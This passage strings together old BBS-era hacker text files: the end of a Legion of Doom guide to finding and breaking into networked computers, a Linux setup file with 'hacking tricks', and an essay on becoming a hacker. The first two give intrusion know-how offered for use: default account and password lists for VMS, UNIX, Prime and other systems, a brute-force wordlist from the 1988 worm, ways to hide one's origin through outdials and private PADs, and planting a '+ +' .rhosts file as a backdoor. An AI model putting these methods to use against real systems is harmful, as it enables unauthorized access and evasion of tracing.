manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a
Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to
look at, you could type @c 412 614 (0's can be ignored most of the time.)
If this node allows collect billed connections, it will say 412 614
CONNECTED and then you'll possibly get an identifying header or just a
Username: prompt. If it doesn't allow collect connections, it will give you a
message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to
the right, and return you to the @ prompt.
There are two primary ways to get around the REFUSED COLLECT message. The
first is to use a Network User Id (NUI) to connect.
An NUI is a username/pw
combination that acts like a charge account on Telenet. To collect to node
412 614 with NUI junk4248, password 525332, I'd type the following:
@c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the
screen.
The problem with NUI's is that they're hard to come by unless you're
a good social engineer with a thorough knowledge of Telenet (in which case
you probably aren't reading this section), or you have someone who can
provide you with them.
The second way to connect is to use a private PAD, either through an X.25
PAD or through something like Netlink off of a Prime computer (more on these
two below.)
The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area
Code that the computer is located in (i.e. 713 xxx would be a computer in
Houston, Texas.)
If there's a particular area you're interested in, (say,
New York City 914), you could begin by typing @c 914 001 <cr>.
If it connects,
you make a note of it and go on to 914 002. You do this until you've found
some interesting systems to play with.
Not all systems are on a simple xxx yyy address.
Some go out to four or
five digits (914 2354), and some have decimal or numeric extensions
(422 121A = 422 121.01). You have to play with them, and you never know what
you're going to find. To fully scan out a prefix would take ten million
attempts per prefix. For example, if I want to scan 512 completely, I'd have
to start with 512 00000.00 and go through 512 00000.99, then increment the
address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning.
There are plenty of neat computers to play with in a 3-digit scan, however,
so don't go berserk with the extensions.
Sometimes you'll attempt to connect and it will just be sitting there after
one or two minutes. In this case, you want to abort the connect attempt by
sending a hard break (this varies with different term programs, on Procomm,
it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect.
If you connect to a computer and wish to disconnect, you can type <cr> @
<cr> and you it should say TELENET and then give you the @ prompt. From there,
type D to disconnect or CONT to re-connect and continue your session
uninterrupted.
Outdials, Network Servers, and PADs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In addition to computers, an NUA may connect you to several other things.
One of the most useful is the outdial.
An outdial is nothing more than a modem
you can get to over telenet- similar to the PC Pursuit concept, except that
these don't have passwords on them most of the time.
When you connect, you will get a message like 'Hayes 1200 baud outdial,
Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established
on Modem 5588'. The best way to figure out the commands on these is to
type ? or H or HELP- this will get you all the information that you need to
use one.
Safety tip here- when you are hacking *any* system through a phone dialup,
always use an outdial or a diverter, especially if it is a local phone number
to you.
More people get popped hacking on local computers than you can
imagine, Intra-LATA calls are the easiest things in the world to trace inexpensively.
Another nice trick you can do with an outdial is use the redial or macro
function that many of them have. First thing you do when you connect is to
invoke the 'Redial Last Number' facility. This will dial the last number used,
which will be the one the person using it before you typed. Write down the
number, as no one would be calling a number without a computer on it.
This
is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D'
for Display and it will display the five numbers stored as macros in the
modem's memory.
There are also different types of servers for remote Local Area Networks
(LAN) that have many machine all over the office or the nation connected to
them.
I'll discuss identifying these later in the computer ID section.
And finally, you may connect to something that says 'X.25 Communication
PAD' and then some more stuff, followed by a new @ prompt.
This is a PAD
just like the one you are on, except that all attempted connections are billed
to the PAD, allowing you to connect to those nodes who earlier refused collect
connections.
This also has the added bonus of confusing where you are connecting from.
When a packet is transmitted from PAD to PAD, it contains a header that has
the location you're calling from. For instance, when you first connected
to Telenet, it might have said 212 44A CONNECTED if you called from the 212
area code. This means you were calling PAD number 44A in the 212 area.
That 21244A will be sent out in the header of all packets leaving the PAD.
Once you connect to a private PAD, however, all the packets going out
from *it* will have it's address on them, not yours. This can be a valuable
buffer between yourself and detection.
Phone Scanning
~~~~~~~~~~~~~~
Finally, there's the time-honored method of computer hunting that was made
famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie
Wargames. You pick a three digit phone prefix in your area and dial every
number from 0000 --> 9999 in that prefix, making a note of all the carriers
you find. There is software available to do this for nearly every computer
in the world, so you don't have to do it by hand.
Part Three: I've Found a Computer, Now What?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This next section is applicable universally.
It doesn't matter how you
found this computer, it could be through a network, or it could be from
carrier scanning your High School's phone prefix, you've got this prompt
this prompt, what the hell is it?
I'm *NOT* going to attempt to tell you what to do once you're inside of
any of these operating systems. Each one is worth several G-files in its
own right. I'm going to tell you how to identify and recognize certain
OpSystems, how to approach hacking into them, and how to deal with something
that you've never seen before and have know idea what it is.
VMS-
The VAX computer is made by Digital Equipment Corporation (DEC),
and runs the VMS (Virtual Memory System) operating system.
VMS is characterized by the 'Username:' prompt.
It will not tell
you if you've entered a valid username or not, and will disconnect
you after three bad login attempts. It also keeps track of all
failed login attempts and informs the owner of the account next time
s/he logs in how many bad login attempts were made on the account.
It is one of the most secure operating systems around from the
outside, but once you're in there are many things that you can do
to circumvent system security. The VAX also has the best set of
help files in the world. Just type HELP and read to your heart's
content.
Common Accounts/Defaults:
SYSTEM:
[username: password [[,password]] ]
OPERATOR or MANAGER or SYSTEM or SYSLIB
DEC-10-
OPERATOR:
OPERATOR
SYSTEST:
UETP
SYSMAINT:
SYSMAINT or SERVICE or DIGITAL
FIELD:
FIELD or SERVICE
GUEST:
GUEST or unpassworded
DEMO:
DEMO
DECNET:
DECNET
or unpassworded
An earlier line of DEC computer equipment, running the TOPS-10
operating system. These machines are recognized by their
'.' prompt. The DEC-10/20 series are remarkably hacker-friendly,
allowing you to enter several important commands without ever
logging into the system. Accounts are in the format [xxx,yyy] where
xxx and yyy are integers.
You can get a listing of the accounts and
the process names of everyone on the system before logging in with
the command .systat (for SYstem STATus).
that reads [234,1001]
If you seen an account
BOB JONES, it might be wise to try BOB or
JONES or both for a password on this account.
.login xxx,yyy
To login, you type
and then type the password when prompted for it.
The system will allow you unlimited tries at an account, and does
not keep records of bad login attempts. It will also inform you
if the UIC you're trying (UIC = User Identification Code, 1,2 for
example) is bad.
Common Accounts/Defaults:
UNIX-
1,2:
SYSLIB or OPERATOR or MANAGER
2,7:
MAINTAIN
5,30:
GAMES
There are dozens of different machines out there that run UNIX.
While some might argue it isn't the best operating system in the
world, it is certainly the most widely used. A UNIX system will
usually have a prompt like 'login:' in lower case. UNIX also
will give you unlimited shots at logging in (in most cases), and
there is usually no log kept of bad attempts.
Common Accounts/Defaults: (note that some systems are case
sensitive, so use lower case as a general rule.
Also, many times
the accounts will be unpassworded, you'll just drop right in!)
Prime-
root:
root
admin:
admin
sysadmin:
sysadmin or admin
unix:
unix
uucp:
uucp
rje:
rje
guest:
guest
demo:
demo
daemon:
daemon
sysbin:
sysbin
Prime computer company's mainframe running the Primos operating
system.
The are easy to spot, as the greet you with
'Primecon 18.23.05' or the like, depending on the version of the
operating system you run into. There will usually be no prompt
offered, it will just look like it's sitting there.
At this point,
type 'login <username>'. If it is a pre-18.00.00 version of Primos,
you can hit a bunch of ^C's for the password and you'll drop in.
Unfortunately, most people are running versions 19+. Primos also
comes with a good set of help files.
One of the most useful
features of a Prime on Telenet is a facility called NETLINK.
Once
you're inside, type NETLINK and follow the help files. This allows
you to connect to NUA's all over the world using the 'nc' command.
For example, to connect to NUA 026245890040004, you would type
@nc :26245890040004 at the netlink prompt.
Common Accounts/Defaults:
PRIME
PRIME or PRIMOS
PRIMOS_CS
PRIME or PRIMOS
PRIMENET
PRIMENET
SYSTEM
SYSTEM or PRIME
NETLINK
NETLINK
TEST
TEST
GUEST
GUEST
GUEST1
GUEST
HP-x000-
This system is made by Hewlett-Packard. It is characterized by the
':' prompt. The HP has one of the more complicated login sequences
around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'.
Fortunately, some of these fields can be left blank in many cases.
Since any and all of these fields can be passworded, this is not
the easiest system to get into, except for the fact that there are
usually some unpassworded accounts around. In general, if the
defaults don't work, you'll have to brute force it using the
common password list (see below.) The HP-x000 runs the MPE operating system, the prompt for it will be a ':', just like the logon
prompt.
Common Accounts/Defaults:
MGR.TELESUP,PUB
User: MGR Acct: HPONLY Grp: PUB
MGR.HPOFFICE,PUB
unpassworded
MANAGER.ITF3000,PUB
unpassworded
FIELD.SUPPORT,PUB
user: FLD,
MAIL.TELESUP,PUB
user: MAIL, others
others unpassworded
unpassworded
IRIS-
MGR.RJE
unpassworded
FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96
unpassworded
MGR.TELESUP,PUB,HPONLY,HP3
unpassworded
IRIS stands for Interactive Real Time Information System. It originally ran on PDP-11's, but now runs on many other minis. You can
spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner,
and the ACCOUNT ID? prompt.
IRIS allows unlimited tries at hacking
in, and keeps no logs of bad attempts.
I don't know any default
passwords, so just try the common ones from the password database
below.
Common Accounts:
MANAGER
BOSS
SOFTWARE
DEMO
PDP8
PDP11
ACCOUNTING
VM/CMS-
The VM/CMS operating system runs in International Business Machines
(IBM) mainframes. When you connect to one of these, you will get
message similar to 'VM/370 ONLINE', and then give you a '.' prompt,
just like TOPS-10 does.
To login, you type 'LOGON <username>'.
Common Accounts/Defaults are:
NOS-
AUTOLOG1:
AUTOLOG or AUTOLOG1
CMS:
CMS
CMSBATCH:
CMS or CMSBATCH
EREP:
EREP
MAINT:
MAINT or MAINTAIN
OPERATNS:
OPERATNS or OPERATOR
OPERATOR:
OPERATOR
RSCS:
RSCS
SMART:
SMART
SNA:
SNA
VMTEST:
VMTEST
VMUTIL:
VMUTIL
VTAM:
VTAM
NOS stands for Networking Operating System, and runs on the Cyber
computer made by Control Data Corporation. NOS identifies itself
quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE
SYSTEM.
COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you
will get will be FAMILY:.
Just hit return here. Then you'll get
a USER NAME: prompt. Usernames are typically 7 alpha-numerics
characters long, and are *extremely* site dependent. Operator
accounts begin with a digit, such as 7ETPDOC.
Common Accounts/Defaults:
$SYSTEM
unknown
SYSTEMV
unknown
Decserver- This is not truly a computer system, but is a network server that
has many different machines available from it. A Decserver will
say 'Enter Username>' when you first connect.
This can be anything,
it doesn't matter, it's just an identifier. Type 'c', as this is
the least conspicuous thing to enter. It will then present you
with a 'Local>' prompt.
From here, you type 'c <systemname>' to
connect to a system. To get a list of system names, type
'sh services' or 'sh nodes'. If you have any problems, online
help is available with the 'help' command. Be sure and look for
services named 'MODEM' or 'DIAL' or something similar, these are
often outdial modems and can be useful!
GS/1-
Another type of network server. Unlike a Decserver, you can't
predict what prompt a GS/1 gateway is going to give you.
The
default prompt it 'GS/1>', but this is redifinable by the
system administrator. To test for a GS/1, do a 'sh d'. If that
prints out a large list of defaults (terminal speed, prompt,
parity, etc...), you are on a GS/1. You connect in the same manner
as a Decserver, typing 'c <systemname>'.
To find out what systems
are available, do a 'sh n' or a 'sh c'. Another trick is to do a
'sh m', which will sometimes show you a list of macros for logging
onto a system.
If there is a macro named VAX, for instance, type
'do VAX'.
The above are the main system types in use today.
There are
hundreds of minor variants on the above, but this should be
enough to get you started.
Unresponsive Systems
~~~~~~~~~~~~~~~~~~~~
Occasionally you will connect to a system that will do nothing but sit
there. This is a frustrating feeling, but a methodical approach to the system
will yield a response if you take your time. The following list will usually
make *something* happen.
1) Change your parity, data length, and stop bits.
A system that won't re-
spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term
program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE,
with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one.
While having a good term program isn't absolutely necessary, it sure is
helpful.
2) Change baud rates. Again, if your term program will let you choose odd
baud rates such as 600 or 1100, you will occasionally be able to penetrate
some very interesting systems, as most systems that depend on a strange
baud rate seem to think that this is all the security they need...
3) Send a series of <cr>'s.
4) Send a hard break followed by a <cr>.
5) Type a series of .'s (periods). The Canadian network Datapac responds
to this.
6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does
a MultiLink II.
7) Begin sending control characters, starting with ^A --> ^Z.
8) Change terminal emulations. What your vt100 emulation thinks is garbage
may all of a sudden become crystal clear using ADM-5 emulation.
This also
relates to how good your term program is.
9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO,
JOIN, HELP, and anything else you can think of.
10) If it's a dialin, call the numbers around it and see if a company
answers.
If they do, try some social engineering.
Brute Force Hacking
~~~~~~~~~~~~~~~~~~~
There will also be many occasions when the default passwords will not work
on an account.
At this point, you can either go onto the next system on your
list, or you can try to 'brute-force' your way in by trying a large database
of passwords on that one account. Be careful, though! This works fine on
systems that don't keep track of invalid logins, but on a system like a VMS,
someone is going to have a heart attack if they come back and see '600 Bad
Login Attempts Since Last Session' on their account. There are also some
operating systems that disconnect after 'x' number of invalid login attempts
and refuse to allow any more attempts for one hour, or ten minutes, or sometimes until the next day.
The following list is taken from my own password database plus the database of passwords that was used in the Internet UNIX Worm that was running
around in November of 1988.
For a shorter group, try first names, computer
terms, and obvious things like 'secret', 'password', 'open', and the name
of the account. Also try the name of the company that owns the computer
system (if known), the company initials, and things relating to the products
the company makes or deals with.
Password List
=============
aaa
daniel
jester
rascal
academia
danny
johnny
really
ada
dave
joseph
rebecca
adrian
deb
joshua
remote
aerobics
debbie
judith
rick
airplane
deborah
juggle
reagan
albany
december
julia
robot
albatross
desperate
kathleen
robotics
albert
develop
kermit
rolex
alex
diet
kernel
ronald
alexander
digital
knight
rosebud
algebra
discovery
lambda
rosemary
alias
disney
larry
roses
alpha
dog
lazarus
ruben
alphabet
drought
lee
rules
ama
duncan
leroy
ruth
amy
easy
lewis
sal
analog
eatme
light
saxon
anchor
edges
lisa
scheme
andy
edwin
louis
scott
andrea
egghead
lynne
scotty
animal
eileen
mac
secret
answer
einstein
macintosh
sensor
anything
elephant
mack
serenity
arrow
elizabeth
maggot
sex
arthur
ellen
magic
shark
asshole
emerald
malcolm
sharon
athena
engine
mark
shit
atmosphere
engineer
markus
shiva
bacchus
enterprise
marty
shuttle
badass
enzyme
marvin
simon
bailey
euclid
master
simple
banana
evelyn
maurice
singer
bandit
extension
merlin
single
banks
fairway
mets
smile
bass
felicia
michael
smiles
batman
fender
michelle
smooch
beauty
fermat
mike
smother
beaver
finite
minimum
snatch
beethoven
flower
minsky
snoopy
beloved
foolproof
mogul
soap
benz
football
moose
socrates
beowulf
format
mozart
spit
berkeley
forsythe
nancy
spring
berlin
fourier
napoleon
subway
beta
fred
network
success
beverly
friend
newton
summer
bob
frighten
next
super
brenda
fun
olivia
support
brian
gabriel
oracle
surfer
bridget
garfield
orca
suzanne
broadway
gauss
orwell
tangerine
bumbling
george
osiris
tape
cardinal
gertrude
outlaw
target
carmen
gibson
oxford
taylor
carolina
ginger
pacific
telephone
caroline
gnu
painless
temptation
castle
golf
pam
tiger
cat
golfer
paper
toggle
celtics
gorgeous
password
tomato
change
graham
pat
toyota
charles
gryphon
patricia
trivial
charming
guest
penguin
unhappy
charon
guitar
pete
unicorn
chester
hacker
peter
unknown
cigar
harmony
philip
urchin
classic
harold
phoenix
utility
coffee
harvey
pierre
vicky
coke
heinlein
pizza
virginia
collins
hello
plover
warren
comrade
help
polynomial
water
computer
herbert
praise
weenie
condo
honey
prelude
whatnot
condom
horse
prince
whitney
cookie
imperial
protect
will
cooper
include
pumpkin
william
create
ingres
puppet
willie
creation
innocuous
rabbit
winston
creator
irishman
rachmaninoff
wizard
cretin
isis
rainbow
wombat
daemon
japan
raindrop
yosemite
dancer
jessica
random
zap
Part Four: Wrapping it up!
~~~~~~~~~~~~~~~~~~~~~~~~~~
I hope this file has been of some help in getting started. If you're
asking yourself the question 'Why hack?', then you've probably wasted a lot
of time reading this, as you'll never understand.
For those of you who
have read this and found it useful, please send a tax-deductible donation
of $5.00 (or more!) in the name of the Legion of Doom to:
The American Cancer Society
90 Park Avenue
New York, NY
10016
********************************************************************************
References:
1) Introduction to ItaPAC by Blade Runner
Telecom Security Bulletin #1
2) The IBM VM/CMS Operating System by Lex Luthor
The LOD/H Technical Journal #2
3) Hacking the IRIS Operating System by The Leftist
The LOD/H Technical Journal #3
4) Hacking CDC's Cyber by Phrozen Ghost
Phrack Inc. Newsletter #18
5) USENET comp.risks digest (various authors, various issues)
6) USENET unix.wizards forum (various authors)
7) USENET info-vax forum (various authors)
Recommended Reading:
1) Hackers by Steven Levy
2) Out of the Inner Circle by Bill Landreth
3) Turing's Man by J. David Bolter
4) Soul of a New Machine by Tracy Kidder
5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all
by William Gibson
6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley,
California, 94704, 415-995-2606
7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find.
Acknowledgements:
Thanks to my wife for putting up with me.
Thanks to Lone Wolf for the RSTS & TOPS assistance.
Thanks to Android Pope for proofreading, suggestions, and beer.
Thanks to The Urvile/Necron 99 for proofreading & Cyber info.
Thanks to Eric Bloodaxe for wading through all the trash.
Thanks to the users of Phoenix Project for their contributions.
Thanks to Altos Computer Systems, Munich, for the chat system.
Thanks to the various security personel who were willing to talk to
me about how they operate.
Boards:
I can be reached on the following systems with some regularity-
The Phoenix Project:
512/441-3088
300-2400 baud
Hacker's Den-80:
718/358-9209
300-1200 baud
Smash Palace South:
512/478-6747
300-2400 baud
Smash Palace North:
612/633-0509
300-2400 baud
************************************* EOF **************************************
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Another file downloaded from:
The NIRVANAnet(tm) Seven
& the Temple of the Screaming Electron
Taipan Enigma
510/935-5845
Burn This Flag
Zardoz
408/363-9766
realitycheck
Poindexter Fortran
510/527-1662
Lies Unlimited
Mick Freen
801/278-2699
The New Dork Sublime
Biffnix
415/864-DORK
The Shrine
Rif Raf
206/794-6674
Planet Mirth
Simon Jester
510/786-6560
"Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Installing
&
Hacking
Linux...
All you people that thought you were good hackers, because you could fool
dumb sysadmins, and do a bit of social engineering, or hack something by
following someones carefully prepared text file. Well you're about to get
fucked if you read this text file you will find out that you are a hacker
but, the only thing you can do is use someone elses ideas.
So with that in
From
mind here goes.
I wrote this text file because i know a lot of people who could
benefit from learning to use linux, especially when hacking.
First of all you need to get linux installed on your system so goto
http://www.redhat.com I would suggest you invest $40 in buying the newest
version of RedHat linux this way you will get all the files you want/need
on one cd. If you have a problem with paying that price, then contact me
and i will ship you a copy for half that price, yes only $20! If you are
really cheap (like me :-) you could try and download it, i have gotten it
to work before but it's really not worth the wait, i spent a total download
time of about 3 days to download all the files i wanted, and if one of the
files dosn't work, well you're pretty much fucked. Whatever you decide to
do, weather it's purchasing a copy from me or from redhat.com, or being
cheap :-) and downloading it, you should read the linux documentation
project especially the installation part, it will save you hours of worry.
I will touch down very briefly on what you have to do to install linux, but
not nearly enough for you to understand the installation. Many people will
tell you not to buy RedHat products because they're full of bugs, this is
true, and I couldn't agree more, but the bugs are present if you're trying
to hack teh box, so in this case just get RedHat Linux, since it's by far
the most user friendly and the easiest to install. On the other hand if you
are intending to run a sophisticated webserver do NOT get redhat, get
something like slackware, or debian linux.
If you are planning to use linux to access the net etc... you will
need to read the FAQ on compatability at http://www.redhat.com, i currently
don't know of any distribution of linux that supports winmodem or any other
type of modem that uses windows software to speed it up, these modems are
generally those yukky U.S robotics modems.
From now on I'm assuming you either purchased RedHat linux from me
or from RedHat. O.K lets get started, you will need to partition your
harddrive, to do this goto dos and type in fdisk choose no. 4 to view current
partitions. If you have one large partition that fills your whole harddrive
just reserved for windows then once again you're fucked.
all your shit, before performing the steps below.
You need to back up
Once everything is backed
up go to dos yet again and type 8in fdisk, now you need to delete your
current partition and set a new primary partition the primary partition
should not fill your whole harddrive, leave as much space as you want
unpartitioned, this unpartitioned space is what you're going to be putting
linux on. So now thats done restore your old windows shit and make sure
everything is working nice and dandy. Now pop in your redhat cd in your
cd-rom drive, and reboot your system. Follow the instructions until you
get to a screen that asks if you wish to use fdisk or disk druid to partition
your harddrive, just choose disk druid, now you need to set up a native linux
partition i recommdn 500 megs, but if you wanna be fancy put about 800 megs.
Now after you have assighned a native linux partition and labeled it / Then
you need to assighn swap space, assighn as much as you see fit mine is about
55 megs. It is also a good idea to label your dos partition i label mine
/dos this is so i can access files in my dos partition while using linux.
Once that is done click on OK and save the partition tables, when you get to
the place where you choose what to install. If you have a partition thats
more than 600 MB then choose the install everything option at the bottom of
the list, if your partition is below 600 MB, then choose everything on the
list except the install everything option. If by some chance you just want
a very basic setup, this is what i used to run, just choose x-windows, DNS
Nameserver, Dial-UP workstation,c++ development, and c development.
This
will give you everything youneed to compile programs in ,linux, connect to
your ISP, run x-windows etc....
X-Windows is a graphical interface for linux it's very very nice
it's kinda like windows 95 but it dosn't suck as much, by the way I will be
refeering to windows 95 as winblows, for obvious reasons :-).
Once everything is installed, it will tr to sonfigure x-windows for
you, this is where it actually helps if you know every little chip in your
system, if you don't well tehn just guess, but whatever you do don't install
Metro-X, just install XFree86 x-server it's better, well after all that shit
you will need to install LILO, LILO is a boot manager it allows you to boot
into dos, linux and whatever other O/S's you may have lying around in yuor
system, once all that is set up, you will be asked if you wish to install a
printer or not, figure that part out yourself, it's pretty straight forward,
so I'm not gonna waste my time. I wouldn't recommend configuring a LAN
unless you know your shit about linux.
So once setup is finished , your system will reboot. WOA you just
installed linux and you're still alive it's amazing isn't it. So now you
should be faced with a prompt that says LILO Boot:
you can now press tab for options this will show which operating systems you
can boot into.
You should ahve the following two choices dos and linux, now
since this text file covers linux you would want to boot into linux so at
the LILO prompt type in linux or simply press return, since linux is your
default operating system.
Now you should see a bunch of services starting,
this indicates that linux is loading.
When you reach the login prompt type in root and use the password
you specefied for the setup program earlier. Finally you have redhat linux
installed on your system, and hopefully you're still alive, you're still
with me RIGHT!!!!! O.K so you have logged in as root, first thing you want
to do us shadow your password file I always do thsi because then at least i
know a little clueless newbie could never get in my system, to do this type
in pwconv. Well thats all you have to do, to me it's a shock that there are
so many unshadowed systems on the net when it's so easy to shadow the
password file, but i guess ignorance is the satan of all god's people. Well
i guess you're like dying to show your friends how k-rad and elite you are,
so I guess well better geton to setting up linux to use the net, in other
words to dial out to your ISP. O.K heres how you do it.
prompt type in startx this will start up x-windows.
When you're at the
Once x-windows is
started, you should see an interface much like windows 95, to the left
should be a box named control panel, in the center you should see a window
named local-host, this is simply the rootshell just like the one you get
when you login. Now to get the modem set up, in the control panel there
should be a lot of small icons, goto the 6th one down (modem configuration)
choose what com port your modem is on, if you dont know choose SOM 1 it
seems to be the default in most computers in gateways i do believe it's
COM 2, once thats done, goto the 5th icon down in the control panel
(network configuration)and click it, now choose interfaces then goto add,
choose ppp as your interface type.
Put in your ISP's phone number, and
your login and password. Then choose customize, click on networking and
click on activate interface at boot time, once this is done goto done and
choose to save the configuration. Well thats it simply reboot by typing in
reboot and listen to your sweet modem's music.
Now that you're connected to your ISP let's go do some surfing, once
you're in x-windows, goto start/applications and click on Netscape Navigator.
Visit http://www.rootshell.com and run a search for scan, once you're
confronted with the search results, go down and find the file named
xenolith.tgz download that file. This is a neat little scanner that scans
sites for volunerabilities, and I'm basiacly gonna give you a lesson in
uncompressing files in linux.
Once the file is downloaded goto the dir in
which it resides. Since it's a .tgz file we would uncompress it using the
following method. Type in gunzip -d xenolith.tgz this will give you
xenolith.tar then type in gzip xenolith.tgz this gives you xenolith.tar.gz
then type in zcat xenolith.tar.gz | tar xvf - .
This will give you a dir
called xenolith just cd xenolith and read the README files for installation
instructions. I just thought i would include something on uncompressing
files because many people ask me for help on the topic.
Well I'm getting to the place where I have to think about what i
want to put in this text file, well here's something I will include, a
section with some useful command, so here goes.
To shutdown your computer
type in shutdown -h now (your message) to reboot simply type reboot. To
compile use gcc filename.c -o filename. To talk to a user type in write
username then on the next line write your message, if you don't want people
to send you messages type in mesg n.
Well i sure hop this guide helped you
through getting linux installed if you want to read books on linux and
you're cheap like me goto http://www.mcp.com and sighn up for their personal
bookshelf, and get reading tons of books for free, it's a hackers dream and
all time paradise.
Now just as you thought it was over I'm gonna show you a few hacking
tricks from linux not really how to hack just some useful commands, so here
goes.
To telnet to a site type in telnet www.victim.com ,to telnet toa
site on a specific port type in telnet www.victim.com portnumbe. Let's say
i wanted to telnet to port 25 i would type in telnet www.victim.com 25 .
To FTP to a machine type in ftp www.victim.com.
To rlogin to a machine,
many of you proably dont know what the hell im talking about so let me
explain. If you place a file called .rhosts in someones home directory and
that file has two plusses like this + + in it you can use the rlogin command
to log into the system using that account without a password. Ring a bell
in your mind? filling with fresh ideas. I use this method whenever I geta
shell account, it assures me that if they by any chance change the passowrd
I can always rlogin into the system assuming that the account has a .rhosts
file in it and the file contains + + then you're in good shape. Assume the
username of the account is lamer. So inorder to rlogin into lamer's account
we would do the follwoing. Type in rlogin www.victim.com -l lamer . This
will telnet us directly into lamer's account where we can start rooting the
system.
Well my hand hurts from typing too much, so I'm gonna stop typing,
please if you have any questions, suggestions, or comments, e-mail them to
ameister@vol.com. Also i nee some suggestions on what to write text files
about so please e-mail me, it would be greatly appreciated. Me and some
friends are going to be making a magazine with lots of text files and other
interesting hacking material, if you would like a copy e-mail me for more
info, the price should be no mroe than $4 Shipping & Handling included.
DISCLAIMER:
This shit is for educational purposes only, I'm not responisble for any
trouble you get in using this info.
VISIT MY WEBPAGE FOR MY OTHER TEXT FILEZ AND USEFUL UTILITIES ETC...
HACKERSWEB IS BACK
http://www.vol.com/~ameister
So you wanna be a HACKER huh? <Bwahahaha!> It's a state-of-MIND!
..you can induce it - but only if you are willing to drive yourself
mad enough! Go read and practice until you have mastered at least
Assembly language and Intermediate Level Electronics! Without this
foundation you'll be just another little geek, who might know the magic
words to the spell but dosent understand what he's doing! So RTFM!
..so what does that mean? Read The Fucking Manual! You will be sooo
amazed at how easy most things are if you just try to read the manual
first! The truth is: Most people cant read. Or they read poorly if
they read at all. So if you can't really read...STOP RIGHT HERE. GO
learn to read first. If you can't read at a minimum 12th Grade level
you cant be a hacker. Reading is the basic skill you must have to do
EVERYTHING BEYOND THIS POINT.
Tell your friends you cant party...you're busy. Spend at least 4
hours a day at your new-found fascination...or decide right here
and now that you cant cut it! If you CAN, get a copy of MINIX or
LINUX...start learning about OPERATING SYSTEMS. Then start your
1st real hack...try building a computer-controlled, DTMF dialer
card for your cheap PC...write the code to use it with, make it
a TSR to keep life interesting...now port it to MINIX or whatever
...better yet, port it as an IOCTL call at kernel level! You keep
reading...
Now you're ready to take on something more complex - go to the
Library, start a literature search; topic: Telephone Technologies.
RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the
fab MFTSS, the TELEX boxes and circuits...keep reading...buy up
an older, cheap (like under $50) cellular phone...by this time
you should already have a subscription to 'Nuts & Volts" as well
as a few other grassroots technology pubs....buy a copy of the
"Cellular Hacker's Bible"....start by doing something simple..
..disassemble and re-write the phone`s control ROM to allow it
to function as an 800MHZ scanner...hopefully you've assembled
a large array of tools and test gear by now. You've got a good
dual-trace scope, some pc-based PROM burner, a signal generator,
a logic probe or two, maybe even a microprocessor-emulator for
the 5051, the Z80, the 68010 or something....you may have been
dragged into some fields-afar by life - incorporate them: If
somebody drasgged you into SCUBA, build your own sonar. If you
have gotten interested in amateur radio, you can build a lot
of swell stuff...I recommend you checkout Packet's AX25A level2
protocol...very slick stuff! If your bud's are all into motors,
take a whak at doing your own Performance PROMS for GM's F.I. and
spark advance curves...or try adapting some Volkswagen/BOSCHE
Kjetronics F.I. to a Harley Davidson!..maybe you're into music
so you buy a synthesizer and learn all about electronic music,
you start hacking analog modules and build a nicer synth than you
could buy! Then you interface it to a MIDI port on a cheap 286AT
and then hack up some sequencer software, or buy some and then
disassemble it to fix all the bugs! You keep reading...
By now most of your friends are also "far into the pudding", you
have either gained 50 lbs or gone totally skinny...your skin tone
is 2 shades lighter from being indoors so long...most of the opposite
sex is either totally freaked by or with you - they either dig you,
or they dont!...you're probably knocking on the door of what will
be a $60K+/yr job as a systems analyst...and you are well-aware that
90% of the people in this world can't talk their way out of a badly
cooked steak at the local eatery, let alone install a new motherboard
in their PC! So you pick up some extra cash on doing shit like that
for the straights...you keep reading, and RTFM'ing higher and higher,
learning about networks...the VCR breaks down and your SO bitches
about having to wait till monday to have it fixed...you fix it in
about 40 minutes....the next day the clothes dryer starts to make
squeeking noises like a 50' mouse, you've never fixed one before but somehow it's not that difficult to open the bastard up and find
the squeek and fix it...and suddenly it dawns on you that hacking
code or hardware is pretty much the same! You keep reading...
Congrats, you are now a real hacker. Absolutly nothing but a lack of
time (or in some cases money) can stop you. You are a true Technologic
Philosopher...you can function in places a mere Engineer or Scientist
would truly FEAR TO TREAD! You can read better than Evelyn Wood, you
have a collection of tools that would make a Master Machinist and a
Prototype EE or ME cry. You can calculate series and parallel resonant
circuits in your head. You can fix any consumer appliance - if you can
get the parts. Your car has either become one of your main hacks or
you'ver deligated the job to a mechanic who you have found to be a
fellow hacker; and you work on his homebrew 68010 unix box...because
you've got a 68010 emulator and he works on your car because that's
the kind he specializes in! Maybe you trade services with people
for 50% of what ordinary people have to BUY WITH CASH!...you keep
reading...
(this is the stage where the author now finds himself...16 years
into a career at a Fortune 5 company and age 42...still reading...
your mileage may vary! <-((that's my code too! I co-wrote VEEP,
(vehicle-economy-emissions-program, a complete auto-simulator,
written in Fortran-5 for the Univac 1108 system using punch-cards!)
